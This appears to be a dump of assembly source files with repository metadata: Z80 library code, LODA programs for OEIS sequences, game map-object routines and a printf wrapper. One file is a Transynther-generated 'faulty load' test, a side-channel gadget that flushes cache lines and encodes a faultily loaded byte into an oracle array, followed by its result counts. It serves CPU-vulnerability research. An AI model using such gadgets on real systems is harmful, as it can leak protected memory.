------------------------------------------------------------------------- ;
56.122605
77
0.354178
a4c02379d04614fb193ad869191723f55769bc5a
366
asm
Assembly
libsrc/z80_crt0s/z80_emu/rcmx_rrd.asm
andydansby/z88dk-mk2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
1
2020-09-15T08:35:49.000Z
2020-09-15T08:35:49.000Z
libsrc/z80_crt0s/z80_emu/rcmx_rrd.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
libsrc/z80_crt0s/z80_emu/rcmx_rrd.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
; Substitute for z80 rrd instruction ; aralbrec 06.2007 XLIB rcmx_rrd .rcmx_rrd jr nc, dorrd call dorrd scf ret .dorrd srl a rr (hl) rra rr (hl) rra rr (hl) rra rr (hl) ; a = [bits(HL):210, 0, bits(A):7654], carry = bit 3 of (HL) rra rra rra rra rra or a ret
9.891892
91
0.480874
ce667b4f3c12c57557ffb88b08c140040f2ac337
902
asm
Assembly
programs/oeis/027/A027659.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/027/A027659.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/027/A027659.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A027659: a(n) = binomial(n+2,2) + binomial(n+3,3) + binomial(n+4,4) + binomial(n+5,5). ; 4,18,52,121,246,455,784,1278,1992,2992,4356,6175,8554,11613,15488,20332,26316,33630,42484,53109,65758,80707,98256,118730,142480,169884,201348,237307,278226,324601,376960,435864,501908,575722,657972,749361,850630,962559,1085968,1221718,1370712,1533896,1712260,1906839,2118714,2349013,2598912,2869636,3162460,3478710,3819764,4187053,4582062,5006331,5461456,5949090,6470944,7028788,7624452,8259827,8936866,9657585,10424064,11238448,12102948,13019842,13991476,15020265,16108694,17259319,18474768,19757742,21111016,22537440,24039940,25621519,27285258,29034317,30871936,32801436,34826220,36949774,39175668,41507557,43949182,46504371,49177040,51971194,54890928,57940428,61123972,64445931,67910770,71523049,75287424,79208648,83291572,87541146,91962420,96560545 mov $1,6 add $1,$0 bin $1,5 sub $1,$0 sub $1,2 mov $0,$1
90.2
754
0.815965
c6c96e980feed5fad43c3153527b6e1c2abf5074
767
asm
Assembly
oeis/243/A243947.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/243/A243947.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/243/A243947.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A243947: Expansion of g.f. sqrt( (1+x - sqrt(1-18*x+x^2)) / (10*x*(1-18*x+x^2)) ). ; Submitted by Jamie Morken(w2) ; 1,11,155,2365,37555,610897,10098997,168894355,2849270515,48395044705,826479148001,14177519463191,244109912494525,4216385987238575,73024851218517275,1267712063327871245,22052786911315216595,384321597582115655825,6708530714274563938225,117270262614202848879575,2052644619954737156884745,35970909598135887577883395,631036592481365058029791775,11081099007112864941101000825,194760558097636551610299506525,3425926198640025959661962059727,60309582031189511469291562275647 mov $1,1 mov $2,1 mov $3,$0 add $3,1 add $3,$0 mov $4,1 lpb $3 mul $1,$3 sub $3,1 mul $1,$3 sub $3,1 add $5,$4 div $1,$5 mul $2,5 add $2,$1 add $4,2 lpe mov $0,$2
33.347826
467
0.77575
49bb95a3454d4067566cd6562ff6884ad69f7a5d
359
asm
Assembly
programs/oeis/037/A037667.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/037/A037667.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/037/A037667.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A037667: Base 4 digits are, in order, the first n terms of the periodic sequence with initial period 3,2,0. ; 3,14,56,227,910,3640,14563,58254,233016,932067,3728270,14913080,59652323,238609294,954437176,3817748707,15270994830,61083979320,244335917283,977343669134,3909374676536,15637498706147,62549994824590 mov $1,4 pow $1,$0 mul $1,32 div $1,9 mov $0,$1
39.888889
199
0.791086
ccc361bae353c1ca5474b6ec71c9190f4d6cc589
743
asm
Assembly
programs/oeis/312/A312933.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/312/A312933.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/312/A312933.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A312933: Coordination sequence Gal.6.131.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,4,9,13,18,22,27,32,36,41,45,50,54,58,63,67,72,76,81,86,90,95,99,104,108,112,117,121,126,130,135,140,144,149,153,158,162,166,171,175,180,184,189,194,198,203,207,212,216,220 mov $2,$0 add $2,1 mov $5,$0 lpb $2,1 mov $0,$5 sub $2,1 sub $0,$2 mov $3,$0 mov $6,$0 lpb $0,1 div $3,2 mov $4,$0 add $6,$0 add $0,4 pow $3,2 sub $3,$0 pow $4,2 add $4,2 sub $4,$6 sub $3,$4 add $3,1 div $3,3 gcd $3,2 mov $0,$3 mov $6,2 lpe add $0,$6 mul $0,2 mov $6,$0 div $6,2 add $6,1 add $1,$6 lpe
20.081081
177
0.572005
a01b0d0eefac617cbb9bbe8b1e5a665d95fabbd6
2,233
asm
Assembly
programs/oeis/001/A001386.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/001/A001386.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/001/A001386.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A001386: Coordination sequence for 4-dimensional I-centered tetragonal orthogonal lattice. ; 1,12,56,164,368,700,1192,1876,2784,3948,5400,7172,9296,11804,14728,18100,21952,26316,31224,36708,42800,49532,56936,65044,73888,83500,93912,105156,117264,130268,144200,159092,174976,191884,209848,228900,249072,270396,292904,316628,341600,367852,395416,424324,454608,486300,519432,554036,590144,627788,667000,707812,750256,794364,840168,887700,936992,988076,1040984,1095748,1152400,1210972,1271496,1334004,1398528,1465100,1533752,1604516,1677424,1752508,1829800,1909332,1991136,2075244,2161688,2250500,2341712,2435356,2531464,2630068,2731200,2834892,2941176,3050084,3161648,3275900,3392872,3512596,3635104,3760428,3888600,4019652,4153616,4290524,4430408,4573300,4719232,4868236,5020344,5175588,5334000,5495612,5660456,5828564,5999968,6174700,6352792,6534276,6719184,6907548,7099400,7294772,7493696,7696204,7902328,8112100,8325552,8542716,8763624,8988308,9216800,9449132,9685336,9925444,10169488,10417500,10669512,10925556,11185664,11449868,11718200,11990692,12267376,12548284,12833448,13122900,13416672,13714796,14017304,14324228,14635600,14951452,15271816,15596724,15926208,16260300,16599032,16942436,17290544,17643388,18001000,18363412,18730656,19102764,19479768,19861700,20248592,20640476,21037384,21439348,21846400,22258572,22675896,23098404,23526128,23959100,24397352,24840916,25289824,25744108,26203800,26668932,27139536,27615644,28097288,28584500,29077312,29575756,30079864,30589668,31105200,31626492,32153576,32686484,33225248,33769900,34320472,34876996,35439504,36008028,36582600,37163252,37750016,38342924,38942008,39547300,40158832,40776636,41400744,42031188,42668000,43311212,43960856,44616964,45279568,45948700,46624392,47306676,47995584,48691148,49393400,50102372,50818096,51540604,52269928,53006100,53749152,54499116,55256024,56019908,56790800,57568732,58353736,59145844,59945088,60751500,61565112,62385956,63214064,64049468,64892200,65742292,66599776,67464684,68337048,69216900,70104272,70999196,71901704,72811828,73729600,74655052,75588216,76529124,77477808,78434300,79398632,80370836,81350944,82338988 mul $0,2 mov $1,1 trn $1,$0 lpb $0 sub $0,1 add $4,$1 add $3,$4 add $2,$3 sub $4,$1 add $1,4 lpe add $1,$2
139.5625
2,019
0.852217
ee18bb4512bf513be6b7b7c46f85f65a74794ffd
320
asm
Assembly
programs/oeis/168/A168095.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/168/A168095.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/168/A168095.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A168095: a(n) = number of natural numbers m such that n - 5 <= m <= n + 5. ; 5,6,7,8,9,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11 mov $1,$0 trn $0,6 sub $1,$0 add $1,5
40
203
0.61875
b084276f684268ea2c405881b1c1b9c794031bb4
4,766
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xca_notsx.log_21829_716.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xca_notsx.log_21829_716.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xca_notsx.log_21829_716.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %r8 push %rax push %rdi push %rsi // Store lea addresses_WT+0x53e1, %r11 nop inc %rsi mov $0x5152535455565758, %rdi movq %rdi, %xmm7 vmovups %ymm7, (%r11) nop nop nop nop dec %r11 // Store lea addresses_WT+0xdde1, %rax dec %r15 mov $0x5152535455565758, %r8 movq %r8, (%rax) nop nop nop nop and %r8, %r8 // Store lea addresses_PSE+0x73e1, %r11 nop nop nop nop nop sub $12941, %rdi movw $0x5152, (%r11) nop nop nop nop nop and $63672, %rax // Store lea addresses_WT+0x1d3e1, %r15 nop nop and $7575, %r11 mov $0x5152535455565758, %r10 movq %r10, %xmm4 vmovups %ymm4, (%r15) nop nop inc %r8 // Faulty Load lea addresses_WT+0x1d3e1, %r8 clflush (%r8) nop nop dec %r11 movb (%r8), %r10b lea oracles, %rsi and $0xff, %r10 shlq $12, %r10 mov (%rsi,%r10,1), %r10 pop %rsi pop %rdi pop %rax pop %r8 pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 0}} <gen_prepare_buffer> {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
47.188119
2,999
0.658624
dac9811a3e23c12bdcfbffae0cd9f4961f9917df
718
asm
Assembly
programs/oeis/102/A102770.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/102/A102770.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/102/A102770.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A102770: (p*q - 1)/2 where p and q are consecutive odd primes. ; 7,17,38,71,110,161,218,333,449,573,758,881,1010,1245,1563,1799,2043,2378,2591,2883,3278,3693,4316,4898,5201,5510,5831,6158,7175,8318,8973,9521,10355,11249,11853,12795,13610,14445,15483,16199,17285,18431,19010,19601,20994,23526,25310,25991,26678,27843,28799,30245,32253,33795,35373,36449,37533,38918,39761,41459,44975,47738,48671,49610,52463,55773,58469,60551,61598,63363,65876,68445,70683,72578,74493,77216,79598,82004,85685,88199,90725,93311,95043,97238,99453,102596,105338,106721,108110,111846,116636,119558,122504,125498,128013,132594,136241,141471,147963,152339 add $0,1 seq $0,6094 ; Products of 2 successive primes. sub $0,15 div $0,2 add $0,7
79.777778
567
0.788301
9aa0fbeba831fb70bb79f0135bb03468bf01c9be
7,735
asm
Assembly
home/map_objects.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
home/map_objects.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
home/map_objects.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
2
2021-08-11T19:47:07.000Z
2022-01-01T07:07:56.000Z
; Functions handling map objects. GetSpritePalette:: push hl push de push bc ld c, a farcall _GetSpritePalette ld a, c pop bc pop de pop hl ret GetSpriteVTile:: push hl push de push bc ldh [hUsedSpriteIndex], a farcall GetSprite ld hl, wSpriteFlags res 5, [hl] ldh a, [hObjectStructIndexBuffer] ; objects 10+ load in vbk0 cp 10 jr c, .continue set 5, [hl] sub 10 .continue add a add a ld b, a add b add b ldh [hUsedSpriteTile], a push af farcall GetUsedSprite pop af ld b, a xor a ld a, b ld hl, wSpriteFlags bit 5, [hl] jr z, .using_vbk0 or $80 .using_vbk0 pop bc pop de pop hl ret DoesSpriteHaveFacings:: push de push hl ld b, a ldh a, [hROMBank] push af ld a, BANK(_DoesSpriteHaveFacings) rst Bankswitch ld a, b call _DoesSpriteHaveFacings ld c, a pop de ld a, d rst Bankswitch pop hl pop de ret GetPlayerStandingTile:: ld a, [wPlayerStandingTile] call GetTileCollision ld b, a ret CheckOnWater:: ld a, [wPlayerStandingTile] call GetTileCollision sub WATERTILE ret z and a ret GetTileCollision:: ; Get the collision type of tile a. push de push hl ld hl, TileCollisionTable ld e, a ld d, 0 add hl, de ldh a, [hROMBank] push af ld a, BANK(TileCollisionTable) rst Bankswitch ld e, [hl] pop af rst Bankswitch ld a, e and $f ; lo nybble only pop hl pop de ret CheckGrassTile:: ld d, a and $f0 cp HI_NYBBLE_TALL_GRASS jr z, .check cp HI_NYBBLE_WATER jr nz, .nope .check ld a, d and LO_NYBBLE_GRASS ret z .nope scf ret CheckSuperTallGrassTile:: cp COLL_LONG_GRASS ret z cp COLL_LONG_GRASS_1C ret CheckCutTreeTile:: cp COLL_CUT_TREE ret z cp COLL_CUT_TREE_1A ret CheckHeadbuttTreeTile:: cp COLL_HEADBUTT_TREE ret z cp COLL_HEADBUTT_TREE_1D ret CheckCounterTile:: cp COLL_COUNTER ret z cp COLL_COUNTER_98 ret CheckPitTile:: cp COLL_PIT ret z cp COLL_PIT_68 ret CheckIceTile:: cp COLL_ICE ret z cp COLL_ICE_2B ret z scf ret CheckWhirlpoolTile:: nop cp COLL_WHIRLPOOL ret z cp COLL_WHIRLPOOL_2C ret z scf ret CheckWaterfallTile:: cp COLL_WATERFALL ret z cp COLL_CURRENT_DOWN ret CheckStandingOnEntrance:: ld a, [wPlayerStandingTile] cp COLL_DOOR ret z cp COLL_DOOR_79 ret z cp COLL_STAIRCASE ret z cp COLL_CAVE ret GetMapObject:: ; Return the location of map object a in bc. ld hl, wMapObjects ld bc, OBJECT_LENGTH call AddNTimes ld b, h ld c, l ret CheckObjectVisibility:: ; Sets carry if the object is not visible on the screen. ldh [hMapObjectIndexBuffer], a call GetMapObject ld hl, MAPOBJECT_OBJECT_STRUCT_ID add hl, bc ld a, [hl] cp -1 jr z, .not_visible ldh [hObjectStructIndexBuffer], a call GetObjectStruct and a ret .not_visible scf ret CheckObjectTime:: ld hl, MAPOBJECT_HOUR add hl, bc ld a, [hl] cp -1 jr nz, .check_hour ld hl, MAPOBJECT_TIMEOFDAY add hl, bc ld a, [hl] cp -1 jr z, .timeofday_always ld hl, .TimeOfDayValues_191e ld a, [wTimeOfDay] add l ld l, a jr nc, .ok inc h .ok ld a, [hl] ld hl, MAPOBJECT_TIMEOFDAY add hl, bc and [hl] jr nz, .timeofday_always scf ret .timeofday_always and a ret .TimeOfDayValues_191e: ; entries correspond to TimeOfDay values db MORN db DAY db NITE .check_hour ld hl, MAPOBJECT_HOUR add hl, bc ld d, [hl] ld hl, MAPOBJECT_TIMEOFDAY add hl, bc ld e, [hl] ld hl, hHours ld a, d cp e ret z jr c, .check_timeofday ld a, [hl] cp d ret nc cp e ret z ccf ret .check_timeofday ld a, e cp [hl] ret c ld a, [hl] cp d ret _CopyObjectStruct:: ldh [hMapObjectIndexBuffer], a call UnmaskObject ldh a, [hMapObjectIndexBuffer] call GetMapObject farcall CopyObjectStruct ret ApplyDeletionToMapObject:: ldh [hMapObjectIndexBuffer], a call GetMapObject ld hl, MAPOBJECT_OBJECT_STRUCT_ID add hl, bc ld a, [hl] cp -1 ret z ; already hidden ld [hl], -1 push af call .CheckStopFollow pop af call GetObjectStruct farcall DeleteMapObject ret .CheckStopFollow: ld hl, wObjectFollow_Leader cp [hl] jr z, .ok ld hl, wObjectFollow_Follower cp [hl] ret nz .ok farcall StopFollow ld a, -1 ld [wObjectFollow_Leader], a ld [wObjectFollow_Follower], a ret DeleteObjectStruct:: call ApplyDeletionToMapObject jp MaskObject CopyPlayerObjectTemplate:: push hl call GetMapObject ld d, b ld e, c ld a, -1 ld [de], a inc de pop hl ld bc, OBJECT_LENGTH - 1 jp CopyBytes LoadMovementDataPointer:: ; Load the movement data pointer for object a. ld [wMovementObject], a ldh a, [hROMBank] ld [wMovementDataBank], a ld a, l ld [wMovementDataAddress], a ld a, h ld [wMovementDataAddress + 1], a ld a, [wMovementObject] call CheckObjectVisibility ret c ld hl, OBJECT_MOVEMENTTYPE add hl, bc ld [hl], SPRITEMOVEDATA_SCRIPTED ld hl, OBJECT_STEP_TYPE add hl, bc ld [hl], STEP_TYPE_00 ld hl, wVramState set 7, [hl] and a ret FindFirstEmptyObjectStruct:: ; Returns the index of the first empty object struct in A and its address in HL, then sets carry. ; If all object structs are occupied, A = 0 and Z is set. ; Preserves BC and DE. push bc push de ld hl, wObjectStructs ld de, OBJECT_STRUCT_LENGTH ld c, NUM_OBJECT_STRUCTS .loop ld a, [hl] and a jr z, .break add hl, de dec c jr nz, .loop xor a jr .done .break ld a, NUM_OBJECT_STRUCTS sub c scf .done pop de pop bc ret GetSpriteMovementFunction:: ld hl, OBJECT_MOVEMENTTYPE add hl, bc ld a, [hl] cp NUM_SPRITEMOVEDATA jr c, .ok xor a .ok ld hl, SpriteMovementData + SPRITEMOVEATTR_MOVEMENT ld e, a ld d, 0 rept NUM_SPRITEMOVEDATA_FIELDS add hl, de endr ld a, [hl] ret GetInitialFacing:: push bc push de ld e, a ld d, 0 ld hl, SpriteMovementData + SPRITEMOVEATTR_FACING rept NUM_SPRITEMOVEDATA_FIELDS add hl, de endr ld a, BANK(SpriteMovementData) call GetFarByte add a add a maskbits NUM_DIRECTIONS, 2 pop de pop bc ret CopySpriteMovementData:: ld l, a ldh a, [hROMBank] push af ld a, BANK(SpriteMovementData) rst Bankswitch ld a, l push bc call .CopyData pop bc pop af rst Bankswitch ret .CopyData: ld hl, OBJECT_MOVEMENTTYPE add hl, de ld [hl], a push de ld e, a ld d, 0 ld hl, SpriteMovementData + SPRITEMOVEATTR_FACING rept NUM_SPRITEMOVEDATA_FIELDS add hl, de endr ld b, h ld c, l pop de ld a, [bc] inc bc rlca rlca maskbits NUM_DIRECTIONS, 2 ld hl, OBJECT_FACING add hl, de ld [hl], a ld a, [bc] inc bc ld hl, OBJECT_ACTION add hl, de ld [hl], a ld a, [bc] inc bc ld hl, OBJECT_FLAGS1 add hl, de ld [hl], a ld a, [bc] inc bc ld hl, OBJECT_FLAGS2 add hl, de ld [hl], a ld a, [bc] inc bc ld hl, OBJECT_PALETTE add hl, de ld [hl], a ret _GetMovementByte:: ; Switch to the movement data bank ldh a, [hROMBank] push af ld a, [hli] rst Bankswitch ; Load the current script byte as given by OBJECT_MOVEMENT_BYTE_INDEX, and increment OBJECT_MOVEMENT_BYTE_INDEX ld a, [hli] ld d, [hl] ld hl, OBJECT_MOVEMENT_BYTE_INDEX add hl, bc add [hl] ld e, a ld a, d adc 0 ld d, a inc [hl] ld a, [de] ld h, a pop af rst Bankswitch ld a, h ret SetVramState_Bit0:: ld hl, wVramState set 0, [hl] ret ResetVramState_Bit0:: ld hl, wVramState res 0, [hl] ret UpdateSprites:: ld a, [wVramState] bit 0, a ret z farcall Function55e0 farcall _UpdateSprites ret GetObjectStruct:: ld bc, OBJECT_STRUCT_LENGTH ld hl, wObjectStructs call AddNTimes ld b, h ld c, l ret DoesObjectHaveASprite:: ld hl, OBJECT_SPRITE add hl, bc ld a, [hl] and a ret SetSpriteDirection:: ; preserves other flags push af ld hl, OBJECT_FACING add hl, bc ld a, [hl] and %11110011 ld e, a pop af maskbits NUM_DIRECTIONS, 2 or e ld [hl], a ret GetSpriteDirection:: ld hl, OBJECT_FACING add hl, bc ld a, [hl] maskbits NUM_DIRECTIONS, 2 ret
13.382353
111
0.711571
62059c4821c3317ae25a1c871edbbbd255141a28
852
asm
Assembly
src/test/resources/library/io.asm
xCubeArrow/Cubelang
602376489c0acbbb1f88fd97ee71d143e30cfd53
[ "MIT" ]
null
null
null
src/test/resources/library/io.asm
xCubeArrow/Cubelang
602376489c0acbbb1f88fd97ee71d143e30cfd53
[ "MIT" ]
1
2021-11-13T22:49:01.000Z
2021-11-13T22:49:01.000Z
src/test/resources/library/io.asm
xCubeArrow/Cubelang
602376489c0acbbb1f88fd97ee71d143e30cfd53
[ "MIT" ]
null
null
null
extern putchar extern printf intPrintFormat db "%d", 10, 0 charPrintFormat db "%c", 10, 0 pointerPrintFormat db "%p", 10, 0 printI8: sub rsp, 8 mov esi, edi mov edi, intPrintFormat xor al, al call printf add rsp, 8 ret printI16: sub rsp, 8 mov esi, edi mov edi, intPrintFormat xor al, al call printf add rsp, 8 ret printI64: sub rsp, 8 mov rsi, rdi mov edi, intPrintFormat xor al, al call printf add rsp, 8 ret printChar: sub rsp, 8 call putchar mov rdi, 10 call putchar add rsp, 8 ret printI32: sub rsp, 8 mov esi, edi mov edi, intPrintFormat xor al, al call printf add rsp, 8 ret printPointer: sub rsp, 8 mov esi, edi mov edi, pointerPrintFormat xor al, al call printf add rsp, 8 ret
15.490909
33
0.596244
8951dce431453c1f9dd38d08bb27dc6d0559c684
406
asm
Assembly
oeis/036/A036716.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/036/A036716.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/036/A036716.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
